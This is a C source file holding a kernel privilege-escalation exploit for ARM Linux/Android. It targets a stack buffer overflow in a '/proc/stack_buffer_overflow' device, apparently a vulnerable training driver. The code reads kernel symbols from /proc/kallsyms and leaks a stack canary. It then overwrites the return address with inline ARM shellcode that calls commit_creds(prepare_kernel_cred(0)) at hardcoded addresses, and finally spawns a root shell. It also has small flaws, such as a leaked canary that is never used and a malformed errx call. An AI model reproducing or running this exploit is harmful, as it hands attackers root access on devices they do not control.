#include <stdio.h>
#include <string.h>

#include <unistd.h>
#include <fcntl.h>

#include <sys/mman.h>

#define MAX             64

void * prepare_kernel_cred;
void * commit_creds;
void * proc_file_write;


void *
get_ksymbol(char *name)
{
        FILE *f = fopen("/proc/kallsyms", "r");
        char c, sym[512];
        void *addr;
        int ret;

        while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
                if (!strcmp(sym, name))
                        return addr;
        }

        return NULL;
}

int
open_file(void)
{
        int fd = open("/proc/stack_buffer_overflow", O_RDWR);
        if (fd == -1)
                err(1, "open");
        return fd;
}

void
payload(void)
{
        if (getuid() == 0) {
                printf("[+] enjoy the shell\n");
                execl("/system/bin/sh", "sh", NULL);
        } else {
                warnx("failed to get root. How did we even get here?");
        }

        _exit(0);
}


extern uint32_t shellCode[];

asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"


// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34\n\t"
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"
"BLX     R3\n\t"

//Fix the trashed stack by restoring r4/r5 from duped values on the stack
"mov R3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"ldr r0, =0x8345\t\n"
"ldr r4, [sp] \t\n"
"ldr r5, [sp, #4]\t\n"
"bx r0\t\n"
);


void
trigger_vuln(int fd, int canary)
{

#define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )

        char buf[MAX_PAYLOAD];

        memset(buf, 'A', sizeof(buf));
	printf("shellcode address:%p\n",shellCode);
	printf("payload address:%p\n",payload);
        void * pc = buf + MAX +  1 * sizeof(void*);

        *(void **)pc  = (void *) shellCode;

        /* Kaboom! */
        write(fd, buf, sizeof(buf) );
}

int
gather_information(int fd)
{
        int canary, i;

        if (lseek(fd, 32, SEEK_SET) == -1)
                err(2, "lseek");
        read(fd, &canary, sizeof(canary));

        printf("[+] found canary: %08x\n", canary);

        return canary;
}

void
resolve_kernel_symbols(void)
{
        prepare_kernel_cred     = get_ksymbol("prepare_kernel_cred");
        commit_creds            = get_ksymbol("commit_creds");
        proc_file_write         = get_ksymbol("proc_file_write");

        if (!prepare_kernel_cred || !commit_creds)
                errx(1, "couldn't map all kernel symbols");
}

int
main(void)
{
        int fd, canary;

        resolve_kernel_symbols();

        fd = open_file();
        canary = gather_information(fd);

        trigger_vuln(fd, canary);

        payload();
        /* If we're here, we've failed. */
        close(fd);

        errx("[-] exploit failed\n");
}
